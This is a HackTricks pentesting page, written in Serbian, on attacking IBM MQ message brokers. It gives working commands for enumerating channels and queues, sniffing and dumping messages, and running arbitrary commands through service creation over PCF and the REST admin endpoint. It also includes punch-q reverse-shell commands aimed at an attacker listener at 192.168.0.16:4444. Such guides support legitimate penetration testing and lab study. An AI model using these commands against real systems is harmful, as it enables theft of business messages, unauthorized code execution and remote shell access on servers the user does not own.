1414 - Pentesting IBM MQ

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

IBM MQ je IBM-ova tehnologija za upravljanje redovima poruka. Kao i druge tehnologije posrednik poruka, namenjena je za primanje, čuvanje, obradu i klasifikovanje informacija između proizvođača i potrošača.

Podrazumevano, izlaže IBM MQ TCP port 1414. Ponekad se HTTP REST API može izložiti na portu 9443. Metrički podaci (Prometheus) takođe su dostupni preko TCP porta 9157.

IBM MQ TCP port 1414 može se koristiti za manipulaciju porukama, redovima, kanalima, … ali takođe i za kontrolu instance.

IBM pruža opsežnu tehničku dokumentaciju dostupnu na https://www.ibm.com/docs/en/ibm-mq.

Alati

Predloženi alat za lakšu eksploataciju je punch-q, uz upotrebu Dockera. Alat aktivno koristi Python biblioteku pymqi.

Za manualniji pristup, koristite Python biblioteku pymqi. Potrebne su IBM MQ dependencies.

Instalacija pymqi

IBM MQ dependencies moraju biti instalirane i učitane:

  1. Napravite nalog (IBMid) na https://login.ibm.com/.
  2. Preuzmite IBM MQ biblioteke sa https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Za Linux x86_64 to je 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Raspakujte (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Pokrenite sudo ./mqlicense.sh da prihvatite uslove licence.

Ako koristite Kali Linux, izmenite fajl mqlicense.sh: uklonite/komentarišite sledeće linije (između linija 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Instalirajte ove pakete:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Zatim, privremeno dodajte .so fajlove u LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, pre nego što pokrenete druge alate koji koriste ove zavisnosti.

Zatim, možete klonirati projekat pymqi: sadrži zanimljive primere koda, konstante, … Ili možete direktno instalirati biblioteku sa: pip install pymqi.

Using punch-q

With Docker

Jednostavno koristite: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

Klonirajte projekat punch-q zatim pratite readme za instalaciju (pip install -r requirements.txt && python3 setup.py install).

Nakon toga, može se koristiti komandom punch-q.

Enumeracija

Možete pokušati da enumerišete ime queue manager-a, korisnike, kanale i queue-ove pomoću punch-q ili pymqi.

Ako je TCP/1414 filtriran ili meta izlaže samo ugrađeni web server, proverite i TCP/9443. Novije verzije IBM MQ podrazumevano izlažu IBM MQ Console / REST API tamo kada je mqweb omogućen, i administratorski REST endpoint može izvršavati proizvoljne MQSC komande ako imate važeće kredencijale.

Queue Manager

Ponekad ne postoji zaštita koja sprečava dobijanje imena Queue Manager-a:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanali

punch-q koristi internu (modifikovanu) wordlist da pronađe postojeće kanale. Primer upotrebe:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Dešava se da neke IBM MQ instance prihvataju unauthenticated MQ zahteve, tako da --username / --password nisu potrebni. Naravno, prava pristupa takođe mogu varirati.

Čim dobijemo ime jednog kanala (ovde: DEV.ADMIN.SVRCONN), možemo da izlistamo sve ostale kanale.

Enumeracija se u suštini može obaviti ovim code snippet-om code/examples/dis_channels.py iz pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Ali punch-q takođe uključuje taj deo (sa više informacija!). Može se pokrenuti sa:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Mnogi slučajevi “uspostavi vezu, ali vraća 2035” su uzrokovani CHLAUTH pravilima ili nedostatkom OAM dozvola na ciljnim objektima.

Ako već imate administratorski MQSC pristup, MATCH(RUNCHECK) je najbrži način da shvatite koje pravilo će biti primenjeno na udaljenu konekciju:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Putem REST admin endpoint-a na 9443, ista provera može da se izvrši udaljeno:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Ako imate dovoljno prava da koristite PCF udaljeno, IBM izlaže MQCMD_INQUIRE_CHLAUTH_RECS, koji vraća zapise o autentifikaciji kanala i kako su ti zapisi mapirani na MCAUSER. To je korisno da se potvrdi da li kanal mapira udaljene korisnike na lokalni nalog sa većim privilegijama pre nego što pokušate pristup porukama, kreiranje objekata ili zloupotrebu servisa.

Redovi

Postoji primer koda pomoću pymqi (dis_queues.py), ali punch-q omogućava da se dobije više informacija o redovima:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Možete ciljati queue(s)/channel(s) da biste sniff out / dump messages iz njih (operacija koja nije destruktivna). Primeri:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Ne ustručavajte se iterirati kroz sve identifikovane redove.

Izvršavanje koda

Nekoliko detalja pre nego što nastavimo: IBM MQ se može kontrolisati na više načina: MQSC, PCF, Control Command. Neki opšti spiskovi mogu se naći u IBM MQ documentation. PCF (Programmable Command Formats) je ono na šta se fokusiramo za daljinsku interakciju sa instancom. punch-q i nadalje pymqi su zasnovani na PCF interakcijama.

Možete pronaći listu PCF komandi:

Jedna zanimljiva komanda je MQCMD_CREATE_SERVICE i njena dokumentacija je dostupna here. Ona prima argument StartCommand koji pokazuje na lokalni program na instanci (na primer: /bin/sh).

Takođe postoji upozorenje u dokumentaciji: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

Napomena: prema IBM MQ dokumentaciji (Administration Reference), postoji i HTTP endpoint na /admin/action/qmgr/{qmgrName}/mqsc za izvršavanje ekvivalentne MQSC komande za kreiranje servisa (DEFINE SERVICE). Ovaj aspekt još nije obuhvaćen ovde.

Ako su dostupni kredencijali za MQ Console / REST API, često možete pristupiti istim administratorskim primitivima preko HTTPS-a na 9443 bez korišćenja MQ klijent biblioteka. IBM dokumentuje /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc kao endpoint koji prihvata plain-text MQSC ili JSON komande.

Kreiranje/brisanje servisa pomoću PCF za daljinsko izvršavanje programa može se izvršiti pomoću punch-q:

Primer 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

U logovima IBM MQ-a možete pročitati da je komanda uspešno izvršena:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Takođe možete izlistati postojeće programe na mašini (ovde /bin/doesnotexist … ne postoji):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Imajte na umu da je pokretanje programa asinhrono. Dakle, potrebna vam je druga stavka da biste iskoristili exploit (listener for reverse shell, file creation on different service, data exfiltration through network …)

Ista tehnika se može izvesti iz REST API-ja:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Ovo je posebno korisno tokom procena u kojima:

  • 9443 je dostupan, ali je 1414 ograničen na manji opseg izvora
  • Ciljni tim upravlja IBM MQ uglavnom kroz web console i zaboravio je da ojača REST roles
  • Želite da izbegnete instaliranje IBM MQ client libraries lokalno i potreban vam je samo MQSC-level administracija

Primer 2

Za lakši reverse shell, punch-q takođe predlaže dva reverse shell payloads :

  • Jedan sa bash
  • Jedan sa perl

Naravno, možete napraviti sopstveni koristeći execute komandu.

Za bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Za perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Prilagođeni PCF

Možete proučiti IBM MQ dokumentaciju i direktno koristiti pymqi python biblioteku da testirate specifičnu PCF komandu koja nije implementirana u punch-q.

Primer:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Ako ne možete da pronađete imena konstanti, možete pogledati IBM MQ documentation.

_Primer za MQCMD_REFRESH_CLUSTER (Decimal = 73). Potreban je parametar MQCA_CLUSTER_NAME (Decimal = 2029) koji može biti _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Okruženje za testiranje

Ako želite da testirate ponašanje IBM MQ i exploits, možete da postavite lokalno okruženje zasnovano na Dockeru:

  1. Imati nalog na ibm.com i cloud.ibm.com.
  2. Kreirajte kontejnerizovan IBM MQ pomoću:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Ovde je ime queue manager-a postavljeno na MYQUEUEMGR (varijabla MQ_QMGR_NAME).

Nedavne 9.4.x razvojne slike promenile su podrazumevano ponašanje:

  • admin i app se kreiraju samo ako postavite njihove lozinke
  • IBM označava MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD kao deprecated od 9.4.0.0
  • Preporučeni način je da koristite secrets nazvane mqAdminPassword i mqAppPassword

Za brz lokalni lab sa Podman-om, možete kreirati oba korisnika ovako:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Sa podrazumevanom razvojnom konfiguracijom:

  • DEV.ADMIN.SVRCONN dozvoljava samo korisnika admin
  • DEV.APP.SVRCONN je aplikacioni kanal i kao očekivani identitet je korisnik app
  • https://<target>:9443/ibmmq/console izlaže web konzolu kada je ugrađeni web server omogućen

Trebalo bi da imate IBM MQ pokrenut i da su njegovi portovi izloženi:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Stare verzije IBM MQ docker images dostupne su na: https://hub.docker.com/r/ibmcom/mq/.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks